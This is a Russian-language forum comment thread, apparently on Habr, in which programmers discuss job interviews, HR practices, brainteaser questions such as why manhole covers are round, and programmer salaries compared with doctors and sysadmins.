Высокий порог вхождения у программистов? Это вы с юристами и врачами сравниваете? :)
AleksDesker
Да :), лично знаю врача, который 2 раза восстанавливался в универе, кое-как его закончил, сейчас работает по специальности, особого интереса работа не вызывает у него. Чтобы работать врачом нужен просто диплом и не вылететь из универа и интернатуры. Чтобы стать программистом универа совершенно не достаточно, нужна сильная заинтересованность. Тоже и насчет юристов, толпы юристов, которые даже конституцию не знают, они просто кое-как закончили универ и устроились в первую попавшуюся юридическую консультацию. И как раз на их фоне грамотные специалисты выделяются и получают приличные деньги. Например, известным врачам платят денег только для того, чтобы полечится конкретного у него.
degorov
Мне бы не особо хотелось попасть к врачу (если такая необходимость возникнет), который чёрти как учился в университете и одно из главных его достоинств — это просто наличие диплома.
degorov
А таких в наше время становится все больше.
vladon
Хуже. В регионах найти НЕ такого — проблема.
ImperfectCadenca
А таких в общем-то большинство. Особенно в государственных поликлиниках. Другое дело, что не каждый осилит учебу + интернатуру.
BitHint
Я буду обновлять комментарии, прежде чем писать свой
BoberCoder
Последний абзац — чушь. Кто то из большинства сверстников, проводивших ночи в клубах, сейчас работает начальником отдела аналитики в банке и имеет в 10 раз больше меня. Кто то из меньшинства ботающих книги сейчас работает аспирантом в ВУЗе и имеет в 4 раза меньше меня. Программистам сейчас действительно повезло и в этом нет какой-то их заслуги, просто особенность нашего мира, бум компьютеризации и интернетизации.
Aisu_Kuge
Быть можно дельным человеком и думать о красе ногтей

Пара походов в клубешник и хороших тус пойдут только на пользу программисту.
agathis
Программистам сейчас действительно повезло и в этом нет какой-то их заслуги, просто особенность нашего мира,
Повезло нашим олигархам, которые оказались в нужное время и в нужном месте. А программисты, как и другие профессионалы своего дела, совершенно заслуженно получают свои деньги.
BoberCoder
Средний врач получает гораздо меньше среднего программиста.

Профессионалы своего дела это отдельная категория, которая не делает погоды на рынке труда.
G0ran
То, что средний врач получает меньше программиста — не вина программиста. Скажем спасибо нашему государству. В Америке или Европе врачи получают очень хорошо, но и уровень образования и требования в разы выше, чем в России, например.
MARDEN
В Америке или Европе врачи получают очень хорошо, но и уровень образования и требования в разы выше, чем в России, например.

Выше? В разы?? Да ну?! Это вы каким образом сравнили?
ploop
Конечно, это давно известный факт. Или вы хотите сказать, что российская медицина сопоставима с немецкой? Тогда почему все обеспеченные люди едут лечиться за рубеж.
Поищите в интернете интервью с Рошалем, например. Он там четко и по делу объясняет, почему в России все очень печально и лучше не станет при нынешней власти.
kzn
Вы написали «Америка и Европа», а теперь приводите одну Германию. Это раз.

Второе: едут лечиться за границу зачастую не из-за уровня специалистов, а из-за уровня медицины в целом, которая определяется во многом наличием оборудования и медикаментов. А вот с уровнем образования как раз бывает всё не здорово (на какой слог ударение ни поставь). Я знаю примеры, когда люди едут из Финляндии лечиться в Россию, потому что там врач, выслушав жалобы, говорит «щас посмотрим» и начинает листать медицинский справочник.
Nartis
Сейчас вы уже придираетесь. По сути он абсолютно прав.

начинает листать медицинский справочник


И у нас бы листал, но денег даже на справочник зачастую не хватает. А таких примеров можно найти огромное количество. Самый последний, у друга папа попал в больницу, поставили капельницу с глюкозой, после капельницы сразу же взяли кровь на сахар в итоге определили сахарный диабет. Он выписался из больницы на этот же день.

vsb
Во-первых, я писал «Америка или Европа». Если уж начали цитировать пословно, будьте любезны делать это правильно. Германия это Европа, и просто это первое, что пришло в голову. В Америке, правда, тоже не все так гладко и безумно дорого, но там хотя бы деньги идут на новейшее оборудование, обучение врачей и мощнейшая фармацевтика.
Во-вторых, уровень медицины в целом как раз определяет уровень специалистов. Если есть крутое оборудование и лекарства, то это не означает, что есть врачи, умеющие их использовать. Никогда не слышали, как закупали оборудование в наши больницы, но как с этим работать практически никто не знал? Также, в России крайне мала вероятность наказания за врачебную ошибку, в отличие от развитых стран.
stardust_kid
Вы пеняете врачу на то, что он не фигачит бездумно «ОРЗ» во всё подряд, а пытается думать и искать материалы? А программисты должны по памяти знать все параметры всех функций, да?
MARDEN
Листание справочника это нормально, невозможно помнить наизусть все тома таких знаний. И это хорошо, что он у него есть и он знает где искать. Кстати говоря пилот, когда случается критическая ситуация, тоже первым делом лезет в справочник, там это ещё критичнее (по горячке можно много напортачить, а в Quick Reference Handbook четкие инструкции в правильном порядке).
vsb
Ну а хороший врач у нас получает в разы больше хорошего программиста. Говорю по своим знакомым хорошим врачам в Москве.
MARDEN
Не хочется поднимать холивар, но только ради справедливости — вы правильно упомянули Москву, можно еще и Питер упомянуть. В большинстве остальных регионов каким бы хорошим врач ни был, не дотягивает оплата.
m_a_d
знаю хорошего Нейрохирурга из Омска, зарабатывает больше меня, а я зарабатываю намного выше среднего программиста в Москве.
MARDEN
врач или рвач?

какому проценту больных доступны его услуги?

5%..10%?

а остальным кредит брать, продавать квартиру… чтобы у него лечиться?
m_a_d
Знаете, ни один нормальный врач голодным не ходит. При любых раскладах. Просто кто-то прибедняется, а кто-то так называемый «врач», которого надо гнать ссаными тряпками.
И я как-то не вижу недобора в учебные заведения по мед части, в отличие от педов. Хотя обе ветви жалются на оффициальную зарплату.
becks
Этого сверстника звали Ванька Ерохин.
MARDEN
Не, это был Альберт Эйнштейн.
tangro
Вы как-то невнимательно читали абзац, который чушью называете, на мой скромный взгляд. Человек говорит о том, что он может выбирать, может работать над задачами, которые ему интересны, в коллективе, который ему приятен, развиваться в том направлении, в котором он желает развиваться. Ещё и деньги за это получать. А вы говорите исключительно о деньгах. Особенно неуместно выглядит сравнение начальника отдела аналитики и аспиранта в вузе, который, судя по вашему описанию, умный парень. Один зарабатывает деньги, другой каждый день решает задачи на грани своего понимания, растёт, развивается. Не так мало среди этих ребят тех, кому глубоко плевать на эти ваши «икс-десять» да «дробь-четыре». И счастливые люди, что могут так.
AntonBreusov
Какие-то вам неудачные фирмы попадаются. Я тоже посетил довольно много собеседований, но чаще всего рекрутеры были адекватны, а тимлиды вполне технически подкованы. Была, конечно, аодна феерическая девочка HR из Одессы, которая услышав сумму желаемой зарплаты, написала «Почему так много?!». Но и ее удалось перевоспитать, кинув ссылку на статистику ЗП. И один раз дали ТЗ на 8 часов работы. Но после того, как я спросил оплатят ли они это время, тимлид подумал и кинул упрощенный вариант. В целом мое мнение — отрасль вполне адекватна.
VSOP_juDGe
Чел вбухал бабки в продвижение своего резюме — вот и выплыли неудачные косяками. Не всегда более дорогой вариант лучше…
arenbo
бабки в продвижение своего резюме

Вы открыли мне глаза, без иронии. Реально такой бизнес есть?
rule
В следующем комментарии ответили, что на «вбухал бабки» не особо тянет… Это стандартная услуга сайтов по поиску работы. Есть ещё круче — платное поднятие своего резюме в поисковых системах. Тоже не сильно помогает…
Ubran_Hera
Я просто аккуратно заполнил профиль на линкедине. И теперь у меня инбокс, как у полногрудой блондинки на кавказском сайте знакомств. Куда больше?
intnzy
Услуга поднятия резюме в топ каждые 4 часа в течение 2х недель стоит что-то около 150р. Вряди это можно охарактеризовать как «вбухал бабки»
PerlPower
В любом случае ваш подобный опыт ценен. Спасибо, что поделились им:-)
vanfukov
Всегда рад :-)
ramntry
У меня возникло ещё одно подозрение, что не-«неудачные» фирмы могут как-то отсекать продвинутые за плату резюме;-) Мож это VIP-услуга из разряда «анти-анти-АОН»;-)…
stardust_kid
А зачем? Что плохого в том, что человек заплатил небольшую сумму за автоматизацию (ну и пусть небольшое повышение частоты) подъема резюме?
Не думаю, что «не-неудачные» фирмы горят желанием набирать только тех, кто ищет работу по принципу «Я резюме разместил, остальное — ваши проблемы, копайте глубже»
stardust_kid
Э-э-э… Лиса и виноград в чистом виде, уж простите.
Плюс к тому, уж где-где, а в сфере IT superjob headhunter'у не конкурент. Да и по рассказам кадровиков — вообще в области зарплат выше среднего. Возможно, потому и не пытаются монетизировать соискателя — нечего там монетизировать.
Хотя насчет выделения цветом — возможно, и правда, поспрашиваю при случае.
Flammar
Хорошие программисты (и любые другие хорошие специалисты!) могут выбирать. В то же время, поток средненьких спецов очень даже немаленький и компании вполне могут позволить себе отступление от практики индивидуального подхода в той или иной степени. Иногда это действительно выглядит как глупость или хамство (и негативные эмоции соискателей по этому поводу более чем уместны), но часто это просто объективная необходимость и, как мне кажется, нужно относиться к этому спокойней.

Канонический пример — вопрос «а нужен ли мне диплом?». Когда приходит на собеседование пусть даже 50 человек, просто физически нет возможности побеседовать с каждым, проявив тот самый индивидуальный подход, поэтому включаются фильтры. Может быть, это звучит грубо, но часто нет смысла тратить время на человека без диплома, если у тебя есть 48 кандидатов с ВО. Разумеется, есть очень талантливые люди без высшего образования, но ресурсы на их выискивание есть далеко не у всех компаний, да и многих просто устраивают крепкие середнячки, которых, всё же, гораздо проще найти среди лиц, закончивших университет. Грубо говоря, часто выгодней затратить Х ресурсов, чтобы нанять хорошиста, чем 10*Х ресурсов, чтобы нанять отличника.

Понятно, что всем хочется работать в компаниях, которые применяют индивидуальный подход сразу начиная с собеседования и ценят каждого сотрудника, но, давайте будем объективны — таких компаний слишком мало и не факт, что их хватит даже на тех самых гуру из статьи :( Но всё это не значит, что не нужно искать! — мой опыт показывает, что в поиске работы всё же довольно много решает элемент случайности. Наличие квалификации всегда безусловно необходимо, но практически никогда не достаточно.
stardust_kid
Мне кажется, что насколько профессионально в компании поставлен подбор технических кадров, косвенно говорит об уровне технического отдела компании и вообще уровня развития ит отдела. Если нет технического фильтра, то все плохо, скорее всего работников хороших либо просто нет, либо они низкой или средней квалификации, поэтому вырасти в профессиональном смысле в такой компании будет сложно.
Возможно нужно было сразу обратить внимание на компании аутсорсеры, крупные или средние, которые уже давно занимаются разработкой. Еще вариант, поискать стартапы с хорошим финансированием и с хорошей командой. В таких компаниях можно найти интересный проект и вырасти как разработчик.
voff
Проблема в том, что HR часто считает своим долгом показать, что он работаете и проводит пару «пустых» встреч, а только потом можно добраться до беседы с будущим начальником, по которому и можно судить как там все в отделе устроено.

Я когда устраивался был очень рад хорошему подходу: собеседование с HR в стиле «а в резюме эти пункты правда?» ну и общие вопросы + зарплата (то есть я сразу знаю, что пришел не впустую, и я уже заинтересован), перерыв 5 мин, звонят двум начальникам отделов, они приходят, HR говорит им — вот подходящий человек, я одобряю прием, сами решайте кто его забирает. Немного вопросов, все довольны. И потом я просто сижу, а два человека договариваются между собой, кому меня забирать, периодически задавая уточняющие вопросы в стиле «чем интереснее было бы заняться этим или этим». Итог: я доволен что все четко и быстро, я доволен, что мое мнение спрашивали и по сути у меня был выбор между двумя вакансиями, плюс еще и если что обещали дать возможность передумать и сменить отдел. И самое главное HR провел все профессионально и все получили то зачем пришли быстро без пустых разговоров.
Flammar
Идея: написать простейший framework с очень низким порогом вхождения, назвать его MVC и дать возможность рекрутам троллить работодателей.
voff
Я почему-то сразу вспомнил про javascriptmvc.com.
Flammar
Тогда уж сразу ассемблером)
Derryk
3-4 собеседования в день на должность ведущего? Нереально. Хочу список компаний куда не надо ходить.
seriyPS
Я в самом начале так и не понял, так вы знаете CodeIgniter или просто указали его в резюме?
Derryk
Речь о том, что код-игнайтер, а не код-инжектор… КО
degorov
Хоть не «инжекторный код», и на том спасибо.
feligz
Если бы он перевёл, получилось бы «Воспламенитель кода».
А тут — просто неправильная транскрипция.
P.S. Буду обновлять комментарии.
rusevgen
А что он вам на собеседовании не ответил?
reaferon
А я его и не собеседовал, так бы конечно прошлись бы с ним по CodeIgniter.
s1im
А что по нему можно спрашивать? Знаешь типы основных компонентов (роутинг, реализация mvc, реализация расширяемости, orm и т.п.) — считай, знаешь фреймворк. Знание CodeIgniter само по себе не отличает code monkey от программиста высокого уровня. А code monkey склонен городить огороды даже при неплохом знании фреймворка.
BoltThrower
Я бы не смог сопоставить Code Injector и CodeIgniter. Решил бы, что речь идёт о какой-то технологии введения и замены кусков кода в уже запущенном приложении, примерно как в Erlang.

Произношение — вполне себе проблема на технических конференциях, иногда нужно 2-3 секунды, чтобы понять, что это просто докладчик так произносит это слово…
jonie
Так ведь личное собеседование, не понял — переспроси, денег за это не берут же.
Я проходил несколько собеседований по Skype на английском, у меня плохой английский, но я не стеснялся переспрашивать, а тут уж тем более надо было бы если вы не поняли или что-то неправильно, то поправьте.
MpaK999
Я про последний абзац не соглашусь… есть и в других специальностях те, кто «с полной отдачей», но такой спрос сейчас — на ИТ. Конъюнктура рынка…
lightman
Нормально написано, только у меня сложилось ощущение, что все вопросы к компаниям и прочие сомнения, которые вы вылили в этом посте, но не беседовали с людьми напрямую. Возможно я конечно неправ, но выглядит похоже.

Для меня на собеседованиях всегда было самым важным именно общение. Общение с людьми, с которыми предстоит работать. Ваши собственные вопросы должны восприниматься естественно и ответы на них должны быть такими же естественными как и ваши. Если начинаются отговорки, вроде «это коммерческая тайна», «я не имею права сообщать», «(лампа в лицо) МОЛЧАААТЬ! здесь спрашиваю Я!!!111», то это уже наводит на очень серьезные размышления.

Очень нравится задавать встречные вопросы. Особенно на идиотские шаблонные вопросы а-ля «1000 и 1 вопрос на засыпку для профессионального HR».

— Кем вы видите себя в нашей компании через 5 лет?
— А кем вы видите себя? (Только честно. Пофантазировать мы все умеем.)

— Сколько шариков влезает в автобус?
— Я честно постараюсь ответить на этот вопрос, но только после того, как вы мне объясните, зачем этот вопрос здесь. Или давайте я запишу ответ на этот вопрос на бумажке, а потом прослушаю ваш вариант, с пояснениями почему это так. Не цифру, а именно объяснение (зачастую спрашивающие сами толком не знают, зачем эти вопросы нужны; просто, так положено).

Почему-то большинство как специалистов, так и HR по-прежнему считает, что собеседование это экзамен. Мне кажется, это самая большая ошибка, которую можно сделать. Собеседование это в первую очередь беседа. Это НЕ экзамен! Это диалог, в котором стороны пытаются найти точки взаимодействия.
degorov
Это НЕ экзамен! Это диалог, в котором стороны пытаются найти точки взаимодействия.
И вы ищите не раба, а коллегу, который будет работать на вас, как и вы на него…

Немного поясню: меня просто удивляет, что многие, особенно руководители и тимлиды, которые на собеседовании ведут себя так, что как будто выбирают раба на галеры. При этом, когда начинаешь задавать вопросы о том, как у них организована работа (ну там как ставятся задания, сроки, используются системы контроля версий, CI и пр., кто для меня будет заказчиком, а режут ли у вас Интернет для программистов и т.д.), они как-то не стремятся рассказать, как они будут организовывать мою работу. Но при этом готовы просто затрахать мелочами и чуть ли не перечислениями библиотек и их функций на память, которых касался пару раз за всю свою профессиональну деятельность.
xunter
Разумеется. Именно эти моменты и должны проясняться в ходе подобной беседы.
Cancel
Я был на собеседованиях был около 2-х десятков раз, поэтому выстроил для себя свой собственный шаблон ответов на типичные вопросы. Благодаря этому шаблону я помог уже 2-м своим бывшим коллегам найти отличную работу.

— Кем вы видите себя в нашей компании через 5 лет?
— Вижу себя хорошим специалистом, заслужившим доверие у руководства, которое может мне поручить ответственное задание и обратиться за консультацией, если таковая понадобится.

— Сколько шариков влезает в автобус?
— Ответ на этот и ему подобные вопросы будет зависеть от того, что вы хотите узнать. Я могу предположить количество шаров среднего размера, которым можно было бы заполнить объём. Могу задать принятый быть верным уточняющий вопрос «С людьми или без». Могу сказать, что этим вопросом максимум что можно достоверно узнать, так это готовился ли я к таким вопросам или нет.

З.ы. может быть в августе месяце, когда в отпуске буду подготовлю материал о том, от каких ответов HR писали кипятком от радости.
MpaK999
Ну вначале я так же отвечал, но потом понял, что для меня более показательной будет реакция собеседующего на контрвопросы. Да и вообще непонятно, зачем мучать эти несчастные люки с шариками, когда они стали уже настолько известными, что правильные ответы можно банально нагуглить. Ну ответит человек идеально на эти вопросы, и что дальше? Это ровным счетом ничего не даст.
oshibka404
Все это зависит от того как вести себя при этом. Одно дело кричать встречный вопрос, перебивая собеседующего, и другое дело — тактично поинтерсоваться причинами подобного вопроса. Я прекрасно понимаю причины задания этих вопросов, вот только практика показывает, что зачастую HR сами не отдают себе отчета в том, зачем это спрашивают.

Вообще, все это сильно зависит от психологии того, кто ведет интервью. Если человек адекватен и производит приятное впечатление, то этого и не требуется. По глазам видно, когда что-то делается «потому что все так делают».

Посчитают меня выскочкой или нет меня не беспокоит (особенно если я уже вижу, что к подбору персонала относятся спустя рукава). В то же время, подобные тесты могут дать дополнительную информацию и устранить сомнения.

Возможно вас смутили изначально приведенные примеры, которые действительно не выглядят нейтральными, но это только один из возможных вариантов.

Не забывайте, что цель в данном случае не произвести хорошее впечатление, а понять, хочется ли вам работать в этой компании в принципе.
blare
Не забывайте, что цель в данном случае не произвести хорошее впечатление, а понять, хочется ли вам работать в этой компании


Это относится к тем, кого признали как профессионала.

А как быть всем тем, кто ещё не выделился из массы. Им и важно произвести впечатление, чтобы получить шанс выделиться.
MpaK999
Как по мне, шарики с автобусами, это ж отличный вопрос, чтобы понять адекватность человека :) Кто-то начнет рассуждать, что можно складывать коробками, кто-то скажет, что по одному на ребенка, кто-то вспомнит, что в Индии часто ездят и возят багаж на крыше автобуса, кто-то спросит «а сколько вы готовы платить за каждый шарик?».
Любой ваш ответ, и даже контр-вопрос, даст понять с кем идет разговор — управленцем, продавцом, инженером, исполнителем. Правда, HR должен тоже это понимать, а не читать по книжке…
ohmytribe
Вы сами верите в то, что написали? Какой выбор между «управленцем, продавцом, инженером, исполнителем» на должность программиста?
jerom
Э-ээ… конечно, верю. И знаю, что среди программистов бывают все перечисленные типажи, и даже больше. Правда, называют их обычно «кодер», «лидер», «архитектор» и пр.
MpaK999
Обычно вакансия уже заранее рассчитана на конкретный типаж. Вопросы относящиеся к особенностям деятельности данного типа гораздо более эффективны в плане определения профпригодности. То, что вы написали о возможных мыслях соискателя- феерические фантазии, которые с реальностью никак не коррелируют.
noonesshadow
Да, да, да! Шикарная статья! И правильная каждым словом.

От себя добавлю, что ещё раздражают компании, которые нанимают людей впрок: типа, «мы вас берём, но вы отдохните месяц-полтора-два без зарплаты и работы, а там и приходите — мы как раз офис новый обустроим». Даже если у вас нет ещё офиса, то почему бы не загрузить человека работай на дом и платить ему как и положено? Я человек, у меня кредиты, выплаты, кушать хочется и пр… Вы беспокоитесь о коммуникациях с руководителем и внутри команды? А Скайп? Джаббер? Не, не слышали?
Halt
Хотел бы добавить что ужасно напрягает, когда компания долго не дает фидбек. Будь-то отправленное резюме или результат прошедшего интервью. Я не гуру, только начинаю, но я уже точно знаю, в какие компании я больше не буду отправлять свое резюме через год-два.

По-поводу «Повезло тыжпрограммист» холивар на местном форуме срывает покровы народного мнения =)
amlet
Тема на форуме просто прекрасна.
Halt
Да, а еще всегда очень хочется знать, почему именно ты не подошел. Так, пару лет назад, я выполнял тестовое задание в Яндекс и мне очень понравилось, что мне понятно объяснили, где мои ошибки.

И наоборот, совсем недавно я ходил в одну крупную компанию, где мне несколько дней вообще не давали ответа, а когда пришел отказ, я попытался уточнить почему и получил ответ от HR, что их технические специалисты сделали вывод, что у меня «был больший упор на веб, чем на джаву, а нам требуется наоборот специалисты именно по джаве» и «заключение делалось не по резюме, а по результатам интервью с Вами». Хотя в резюме указано, что последние два с половиной года работаю в основном с server-side java и на собеседовании не было ни слова про web. Сложись впечатление, что ребята, которые меня собеседовали просто не потрудились написать нормальную характеристику для своего HR.

После такого фидбека, желание повторно пойти на собеседование, после прокачки скиллов, во второе место отпало.
Aisu_Kuge
Тема прекрасна. Внутри ад и Израиль.
Halt
По поводу фидбека — его зачастую не дают не потому что такие плохие.

1. Потому что нет времени и сил: Если это вакансия джуниора — на неё приходит огромное кол-во откликов. Более 100. Ответить всем, да ещё и подробно расписать — какие ошибки в тестовом — занимает кучу времени и сил тимлида. Я сам по-началу давал всем подробные ответы, но примерно на 35 письме понял что это становится второй работой, отнимающей больше сил чем основная. И начал отправлять просто стандартные тексты отказа. Потом перестал отсылать и их.

2. Для подстраховки, чтоб не давать отказ: Может быть так что место одно, а достойных претендентов — несколько и пока не будет точной уверенности что человека взяли и он вышел на работу — отказывать остальным — глупо.
Aisu_Kuge
Эммммм, я конечно не знаю, но я видел десятки (или сотни) съехавших с ушек люков и они никогда не падали вниз, потому что там идёт упор меньшего диаметра. Круглая крышка в люк провалиться не может вообще никак — ни случайно ни специально.

Ну и отдельно заслуживает внимания вопрос — что проще — переносить крышку любой формы на себе или поднимать из люка упавшую туда крышку любой формы :) Это уже не говоря о том, что в люке могут быть люди.
Halt
справедливости ради стоит отметить, что круг — не единственная фигура постоянной ширины.
с тем же успехом (чтоб внутрь не провалилась) можно использовать крышки в форме треугольника Рёло
впрочем, все-таки у круглой крышки по-моему больше шансов «встать на свое место» в случае случайного сдвига.
но зато треугольник Рёло не будет крутиться в дырке :)
Aisu_Kuge
треугольник Рёло не будет крутиться в дырке

Я думаю, его не используют просто потому, что круглые крышки (и что даже важнее — люки) делать гораздо проще:)
Nomad1
И тут уже как раз вступает аргумент про «катить»!
PerlPower
а) квадратная крышка легко провалится в квадратный люк, т.к. самая широкая часть провала будет в корень из двух раз больше, чем длина стороны люка.
б) можете смело отвечать, что во многих странах делают квадратные люки.
в) вариантов «почему» может быть значительно больше, от «так исторически сложилось», до «особенностей строения колодцев канализационных каналов» (чаще всего это бетонные кольца и трубы, врытые в землю).

А вообще, да, вопрос довольно паршивый для собеседования программистов.
Nomad1
Вопрос про люки уже задают на собеседование кассирам в торговом центре. (Киев).
PerlPower
так это недостаток — ее же спереть можно! А вот если квадратная, то хрен укатишь!
amlet
М-м-м-м…
Вообще-то ушки катить как раз мешают. А в случае квадратной, например, крышки, ушки должны быть довольно большими, чтобы крышка не провалилась (если сторона люка метр, то диагональ чуть больше метр сорока, то есть ушки должны быть больше двадцати сантиметров каждое — если на сторонах располагать, или даже больше — если на углах как продолжение диагонали). Ушки скорее проворачивание люка предотвращают, хотя кому оно может помешать — не знаю.
ankane
Как по мне так круглые они потому почему и чайники стали делать с круглой подошвой и фиксатором в центре. Как ни крути всегда можно легко вставить в нужное место
noma4i
1. Чтобы не проваливалась.
2. Легче поставить на место.
3. Легче просунуть внутрь что-либо сравнимого размера.
4. (почему-то все забывают) При равенстве стороны квадратного люка диаметру круглого люка и равной толщине, объём круглого люка будет будет меньше, т.е. меньше материала на люк.

По поводу катить:
1. У люка есть «ушки».
2. Чревато падением люка на ногу, ибо в таком положении крайне неустойчив.
3. Если бы по моему полу или асфальту кто-либо КАТИЛ люк, поймал бы и оторвал голову за испорченную поверхность.
shurik2533
Самое худшее, что может придти вам в голову — устроить групповое интервью. Три соискателя с одной стороны, один работодатель с другой. Это было одновременно и неловко и глупо. Походило на какое-то реалити шоу. Я уж не знаю, может это был такой психологически тест…
Мне было очень неловко, когда меня одного собеседовало сразу 7 человек. Они умудрялись вдвоем-втроем сразу задать по вопросу и я зависал — а кому же отвечать первому?
Вышел от них с ощущением, что мой мозг скушали чайной ложкой.
khanid
Ну знаете, если они даже в деле интервьюирования не могут друг с другом договориться, то что же будет в работе?

Я как то наблюдал картину, как два полицейских вышли одновременно «рулить» на перекресток. И они дорулились до того, что один показал в одну сторону, а другой в другую. В итоге — авария. Наши герои это дело увидели, ну и пошли в развалочку, окучивать «клиентов». Виноваты, разумеется, водители.

Так что, вам еще повезло, что вы туда не устроились =)
Delka
А еще как бесят люди, с которыми уже договорился на повторное собеседование в духе «давайте послезавтра созвонимся и назначим время» (и попутно отменяешь другие собеседования), а в указанный день узнаешь, что они уже закрыли вакансию.
Prometheus
А мне вот интересно, сколько еще времени этот тренд волны программистов продлится?
degorov
Гораздо интересней, какой тренд будет следующим :)
bachin
Боюсь — фермеры и кузнецы.
Derryk
С тех пор, как мне пришлось поверхностно столкнуться с относительно большим строительством, я периодически начинаю очень сильно удивляться зарплатам сварщиков, токарей и т.д., которые могут превышать среднеобластные зарплаты в 3-4 раза.
degorov
Периодически (когда жена или любовница пилит) даже думаешь «и чего я в ПТУ не пошел» :)
s1im
А я вот вам скажу так. Системным администраторам требуется знать никак не меньше (а порой и больше и вдобавок из разных областей!), чем программисту, но ценят их куда как меньше в среднем по рынку (и материально и морально). Сейчас мне многие программисты напоминают маленьких избалованных детей: «Ах нет печенек, ах нет теннисного стола! Не буду тут работать!». Цените то, что профессия сейчас на волне популярности и подбирайте себе хорошую компанию. Рано или поздно произойдет перенасыщение рынка труда программистов…
kingu
Оно уже происходило несколько раз. Сам застал только последний кризис, когда вслед за экономическим кризисом 2008-го года резко повылетало с работы все студенчество и треть ремесленников. Я тогда сам был студентом, хоть и с двумя годами опыта, и почувствовал все прелести кризиса и зарплаты в $300 на себе (Минск).

Зато тогда на рынке труда можно было найти намного более квалифицированных кадров за ту цену, которую сейчас платят студентам. Сейчас прошло несколько лет, экономика выровнялась, рост продолжился.

В 2000-2001 был кризис доткомов, и старшие коллеги хорошо помнят ту же самую ситуацию — мой отец остался на полгода без работы. Программист С++ с 15-летним на то время опытом. Но прошло время и все устаканилось, студентов снова стали принимать на работу, а спецы снова смогли выбирать место поудобнее.

Нисколько не хочу этим оскорбить системных админов, которым, как я считаю, не доплачивают и недооценивают. Кто сам хоть неделю поработал сисадмином, пусть даже помогал разобраться с компьютером знакомой бухгалтерше — тот никогда не будет так говорить.
xunter
… зарплаты в $300 на себе (Минск)…
Зато тогда на рынке труда можно было найти намного более квалифицированных кадров за ту цену, которую сейчас платят студентам.

А сколько теперь платят студентам?
Derryk
Смотря за что и где.

Но, с учётом того, что средняя зарплата средней прослойки Минска около 5 млн. (600 у.е.), то студентам платят 500 у.е. за полный рабочий день. Хотя для студентов это уже хорошая подработка.
lukdiman
В 2007 году я работал за 1700, в 2008 за 1500 (сам ушел на меньшую зп). Все мои знакомые спецы тоже примерно так же работали, ну чуть меньше (1000-1200). Никак не за 500.

(Это я занудно цепляюсь к фразе «можно было найти намного более квалифицированных кадров за ту цену, которую сейчас платят студентам»)
Amarantine
Я не про программистов. Я написал
средняя зарплата средней прослойки Минска
.
hyperwolf
Ну так и фразу, к которой я цепляюсь, не вы написали :)
Halt
Я согласен с мнением, что такие взлеты и падения популярности уже были.
Спрос всегда был и будет на профессионалов. Людей, которые быстро адаптируются к новым условиям, которые любят осваивать новые технологии
Так было всегда и не только среди программистов и, думаю так будет и дальше
А чисто технологически сейчас почти все сферы нашей жизни завязаны на информационные технологии и кто-то должен создавать новый продукт в этой сфере. А сфера это наукоемкая. Научиться сделать сайт легко. А высоко нагруженный сервис уже нет — нужен большой опыт и большие знания.
Да и не каждый может стать гуру в этой сфере, так как «должно переть» от процесса как минимум.
johnnythekid
Тут как посмотреть, программисту платят за то что ОН работает, системному администратору за то, что ВСЕ работает, то-есть для сисадмина совмещать несколько компаний норма жизни, у программиста это значительно сложней, говорю как системный администратор, начинавший программистом. Если брать реально получку на руки в месяц, а не цифру в вакансии конкретной компании, то в среднем по рынку будут очень похожие цифры. Перенасыщение — это врядли, хороший специалист в любой области на хлеб себе заработает с маслом, хороший сантехник или электрик получают не меньше хорошего программиста.
Delias
Счастливый… У нас в Волгограде на резюме .NET-чика на 35 тыс. р. позвонили только две фирмы, причём одна из них была из Москвы и предложила переехать. Так что здесь вакансий вообще нет.
degorov
В крутом бизнес-центре, меня усадили в очень удобное кресло, задавали много вопросов, уточняли ответы, и потом, как бы между прочим, сообщили, что у них сейчас небольшие проблемы, и ближайшую зарплату я получу только через три месяца. На мой удивленный взгляд, сказали, что ничего страшного, я могу пока взять кредит, что бы было на что жить в ближайшее время.


А ребята-то не промах оказались.
Nedder
У них под проценты?
PEgorov
Однажды у меня через коллегу выпросили мою почту (влом было hh заплатить), а потом прислали туда несколько вопросов, один из которых «Почему вы хотите работать в нашей компании?». Учитывая, что работу в тот момент я не искал вообще — очень странно.

Очень много странных людей и странных вакансий.
VolCh
Спасибо за пост. У меня вопрос возник, а почему Вы не рассмтриваете компании, если говорить Вашей терминологией, первого эшелона? Именно топ компании.
Neuronix
Поддерживаю вопрос, учитывая что опыт работы по профилю 10 лет.
iago
Например потому, что порой возникает ситуация, что в компании второго эшелона при меньших знаниях можно получать больше, чем на аналогичной должности в компании первого эшелона и при больших навыках.
relgames
и главное, зарплата в VK далеко не топовая
Aisu_Kuge
отвечу за него… потому-что
1) таких компаний в Питере раз-два и обчелся…
2) требования там на порядок больше
3) роста на порядок меньше…
4) и работа: много, и нудно..., нудно… и нудно…
relgames
Пожалуй первого пункта достаточно. А про остальное — сильно от компании зависит.
Aisu_Kuge
ну, я по собственному опыту… был на собеседованиях в Yota, Motorolla, Yandex
сейчас работаю в РБК, компания большая, а проект маленьких и обособленный от всей корпорации
что мне очень нравится и нет этого пшюшевого блеска
relgames
Ну я же тоже на свой опыт опираюсь. Работал я в Яндексе и там очень неплохо всё. :)
xaoc80
а сейчас там же? или решил перейти в более топовую?
RicoX
Уже не там, но не хочу раскрывать свои мотивы смены работы.
semmaxim
согл, а если лично спрошу?
PerlPower
Спрашивайте.
spmbt
Для того, чтобы уменьшить поток звонков и количество собеседований, можно просто увеличить планку зп.

И продолжать увеличивать ее каждый день после того, как начали появляться реальные предложения.

Ничего личного, просто бизнес
ad1Dima
не все определяется деньгами,
можешь упустить интересный с точки зрения своего развития — проект.
Знаю людей, которые клепают визитки и имеют доход 150К…
Я получаю по рынку, в два раза меньше, но имею свободный график, интересный проект, постоянное саморазвитие,
посещение Конференций.
G0ran
Это до появлении семьи, ипотеки :)
anmi
есть и семья (трое детей) и висит кредит за домик в близкой Лен Области…
и на жизнь вполне хватает.
как говорится: Кесарю кесорево, а слесарю — слесарево…
PerlPower
Либо у Вас «средняя по рынку» очень высокая, либо кредит мелкий :)
(скорее всего первое, так как трое детей это уже значительная финансовая нагрузка)
akalend
средняя по рынку 60-90К для программиста СПб от 3х лет стажу в зависимости от компании и знаний.
я получаю где-то по серединке, кредита отдаю 20К в мес.

Ипотека будет значительно дороже — от 30-45К на 5-8 лет трехкомнатной кв при первоначальном взносе 15-20%

жилье слава богу есть… хоть и старье
akalend
60-90 — середина 75к, ток это для полной ставки

А у Вас, свободный

anmi
а вот про домик скажу, что давно хочется в оффтопик статью написать, «как хорошо жить за городом....»

